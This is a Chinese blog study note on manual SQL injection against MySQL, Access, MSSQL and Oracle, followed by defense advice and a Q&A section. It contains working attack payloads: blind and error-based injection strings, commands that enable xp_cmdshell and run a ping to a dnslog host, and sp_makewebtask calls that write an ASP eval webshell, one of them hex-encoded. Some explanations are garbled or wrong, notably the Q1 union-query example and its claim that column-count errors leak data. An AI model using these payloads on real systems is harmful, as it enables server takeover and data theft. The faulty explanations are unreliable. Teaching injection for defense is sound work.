当前位置: 首页 > article >正文

No. 31 笔记 | Web安全-SQL手工注入技术学习 Part 2

在这里插入图片描述

一、研究背景

  1. 背景介绍
    SQL注入是一种常见且高危的Web安全漏洞。攻击者可以通过构造恶意SQL查询语句来绕过验证机制,执行未授权操作,如获取敏感信息、篡改数据库内容甚至控制服务器。

  2. 研究内容
    本笔记探讨以下数据库的手工注入技术:

    • MySQL
    • Access
    • MSSQL
    • Oracle
      覆盖了联合查询注入、报错注入、盲注注入、UA注入、Referer注入、DNSLOG外带、Cookie注入、宽字节注入、堆叠注入等方法。
  3. 相关研究
    目前的主要研究集中在SQL注入的检测和防御技术:

    • 参数化查询:避免动态拼接用户输入。
    • 输入验证:严格过滤SQL关键字符。
    • 输出编码:对输出数据进行编码以防止攻击扩散。

二、SQL注入技术详解

1. MySQL注入

  1. 联合查询注入

    • 利用UNION操作符,将多条SELECT语句的结果合并。
    • 步骤
      1. 判断列数:利用ORDER BY语句逐步增加字段数,观察是否报错。
      2. 构造查询:如:UNION SELECT 1,2,3--,逐步替换为敏感数据字段。
      3. 获取数据:在显示字段中插入database()version()等函数查看信息。
  2. 报错注入

    • 方法:利用MySQL特性,构造错误表达式来暴露数据。
      • 示例:EXTRACTVALUE(1, 'XPath语法错误')UPDATEXML(1, 'XPath错误', 1)
  3. 盲注注入

    • 布尔盲注:通过页面返回的不同响应判断数据。
      • 示例:AND (SELECT 'a'='a')-- 页面正常;AND (SELECT 'a'='b')-- 页面异常。
    • 时间盲注:利用SLEEP()函数延迟判断。
      • 示例:IF(条件, SLEEP(5), 0)--
  4. 其他技术

    • UA/Referer注入:通过修改HTTP请求头进行注入。
    • DNSLOG外带:将数据通过DNS请求传出。
    • Cookie注入:在Cookie参数中嵌入注入语句。
    • 宽字节注入:利用GBK编码将字符解码为SQL语句。
    • 堆叠注入:通过分号执行多条SQL语句。
  5. Getshell

    • 目标:利用文件读写权限获取Webshell。
    • 方法LOAD_FILE()读取敏感文件,或INTO OUTFILE写入后门文件。

2. Access注入

  1. 基本流程

    • 判断数据库类型、表名、列名及其数据。
    • 通过页面反馈逐步确认。
  2. 逐字破解法

    • 步骤
      1. 猜表名AND EXISTS (SELECT * FROM 表名),逐步尝试常见表名。
      2. 猜列名AND EXISTS (SELECT 列名 FROM 表名),逐步尝试常见列名。
      3. 获取数据AND (SELECT TOP 1 列名 FROM 表名) = 'value'

3. MSSQL注入

在这里插入图片描述

  1. 报错注入

    • 方法:通过错误信息回显数据。
      • 示例:CONVERT(int, 'a')1/0
  2. 盲注注入

    • 利用内置函数逐步判断数据:
      • 示例:IF(SUBSTRING((SELECT 数据), 1, 1)='a', WAITFOR DELAY '0:0:5', 0)--
  3. 命令执行

    • 启用xp_cmdshell,执行系统命令。
      • 示例:
        EXEC sp_configure 'show advanced options', 1;
        RECONFIGURE;
        EXEC sp_configure 'xp_cmdshell', 1;
        EXEC xp_cmdshell 'ping example.com';
        
  4. 写入Webshell

    • 利用sp_makewebtask创建恶意文件:
      EXEC sp_makewebtask 'C:\webshell.asp', 'SELECT ''<%eval request("cmd")%>''';
      

4. Oracle注入

  1. 报错注入

    • 利用函数dbms_utility.sqlid_to_sqlhash()制造错误:
      • 示例:SELECT dbms_utility.sqlid_to_sqlhash('错误') FROM dual;
  2. 盲注注入

    • 使用字符串截取函数判断:
      • 示例:AND SUBSTR((SELECT username FROM ALL_USERS WHERE ROWNUM=1), 1, 1)='A'
        在这里插入图片描述

三、防御策略

  1. 过滤SQL特殊字符

    • 使用白名单模式验证输入。
    • ', ;, --, /*等特殊字符进行转义。
  2. 参数化查询

    • 利用预编译语句绑定参数,避免直接拼接用户输入:
      • 示例(PHP PDO):
        $stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
        $stmt->execute(['username' => $input]);
        
  3. 使用存储过程

    • 通过封装数据库操作,减少直接操作SQL的风险。
  4. 最小化权限

    • 限制数据库用户权限,仅允许必要的读写操作。

关键问题及回答

问题1:MySQL注入中的联合查询注入是如何实现的?

联合查询注入通过构造联合查询语句,利用数据库的列数错误获取数据。具体步骤如下:

  1. 判断列数

    • 构造查询语句,利用ORDER BY子句判断目标表的列数。
    • 示例:
      ORDER BY字段数为3时,页面正常;字段数为4时,页面报错,说明目标表有3列。
  2. 构造联合查询

    • 利用UNION SELECT语句构造包含多个列的查询。
    • 示例:
      'UNION SELECT 1,2,3 FROM (SELECT 1) UNION SELECT 1,2,3 FROM (SELECT 1) UNION SELECT 1,2,3 FROM (SELECT 1)'
      
  3. 执行查询

    • 将联合查询语句发送至目标网站,利用列数错误引发的报错信息获取数据。

问题2:在Access注入中,如何利用逐字破解法获取表名和列名?

  1. 查表

    • 构造查询语句,利用EXISTS语句判断表名存在性。
    • 示例:
      AND EXISTS (SELECT * FROM 表名)
      
    • 替换表名为常见名称(如adminuser等),直到页面返回正常,确定表名存在。
  2. 查列

    • 确认表名后,利用EXISTS语句判断列名存在性。
    • 示例:
      AND EXISTS (SELECT 列名 FROM 表名)
      
    • 替换列名为常见名称(如adminpassword等),直到页面返回正常,确定列名存在。
  3. 获取数据

    • 确认表名和列名后,构造查询语句逐步获取数据。
    • 示例:
      AND (SELECT TOP 1 LEN(列名) FROM 表名) = 5
      
    • 通过替换列名,判断长度或内容获取目标数据。

问题3:MSSQL注入中的命令执行是如何实现的?

  1. 开启xp_cmdshell

    • 利用sp_configure系统存储过程启用命令执行功能。
    • 示例:
      EXEC sp_configure 'show advanced options', 1;  
      RECONFIGURE;  
      EXEC sp_configure 'xp_cmdshell', 1;  
      RECONFIGURE;
      
  2. 执行系统命令

    • 通过xp_cmdshell执行命令,例如ping命令,验证是否成功执行。
    • 示例:
      EXEC master..xp_cmdshell 'ping teki6x.dnslog.cn';
      
  3. 写入一句话木马

    • 利用sp_makewebtask或存储过程向目标写入ASP/ASPX木马文件。
    • 示例:
      DECLARE @s NVARCHAR(4000);
      SELECT @s = 0x730065006C00650063007400200027003C00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003E000D000A002700;
      EXEC sp_makewebtask 'C:\webshell.asp', @s;
      

通过上述步骤,攻击者可以在MSSQL数据库中执行任意系统命令并获取系统权限。


四、总结与反思

  1. 总结

    • 本文全面梳理了SQL注入技术,涵盖MySQL、Access、MSSQL和Oracle的常见注入方法。
    • 提供了大量实战案例,展示了如何手工执行注入攻击并绕过安全防护。
  2. 反思

    • 防御措施需要多层次部署,单一防护手段难以完全防范。
    • 检测和防御技术需要结合AI和自动化工具进一步提升效率。
  3. 建议

    • 开发过程中严格执行输入验证和参数化查询。
    • 定期进行安全测试和漏洞扫描。

在这里插入图片描述


http://www.kler.cn/a/502569.html

相关文章:

  • [Deep Learning] Anaconda+CUDA+CuDNN+Pytorch(GPU)环境配置-2025
  • 浅谈云计算06 | 云管理系统架构
  • 使用gtsam添加OrientedPlane3Factor平面约束因子
  • Kotlin构造函数
  • 多模态论文笔记——CLIP
  • 【STM32+QT项目】基于STM32与QT的智慧粮仓环境监测与管理系统设计(完整工程资料源码)
  • 38_Lua字符串
  • 【AI日记】25.01.11 Weights Biases | AI 笔记 notion
  • Word表格批量提取数据到Excel,批量提取,我爱excel
  • Linux标准IOday4
  • 设计模式 行为型 备忘录模式(Memento Pattern)与 常见技术框架应用 解析
  • 深入解读五种常见 Java 设计模式及其在 Spring 框架中的应用
  • 关于在协程内使用 Uvicorn 无法正常开启 Web 服务的分析处理
  • 202409 青少年软件编程等级考试C/C++ 二级真题答案及解析(电子学会)
  • 计算机网络之---IP协议
  • 数据结构二叉树-C语言
  • Windows的Redis查看自己设置的密码并更改设置密码
  • 神经网络中的“池化”是什么意思?
  • MySQL 与 Redis 的数据一致性问题
  • Linux自定义分隔符
  • 【14】模型训练自制数据集前的一些数据处理操作
  • 基于springboot果蔬供应链信息管理平台
  • Linux 下 Vim 环境安装踩坑问题汇总及解决方法(重置版)
  • AI学习路线图-邱锡鹏-神经网络与深度学习
  • 双线性插值算法:原理、实现、优化及在图像处理和多领域中的广泛应用与发展趋势(二)
  • 【数据库】Mysql精简回顾复习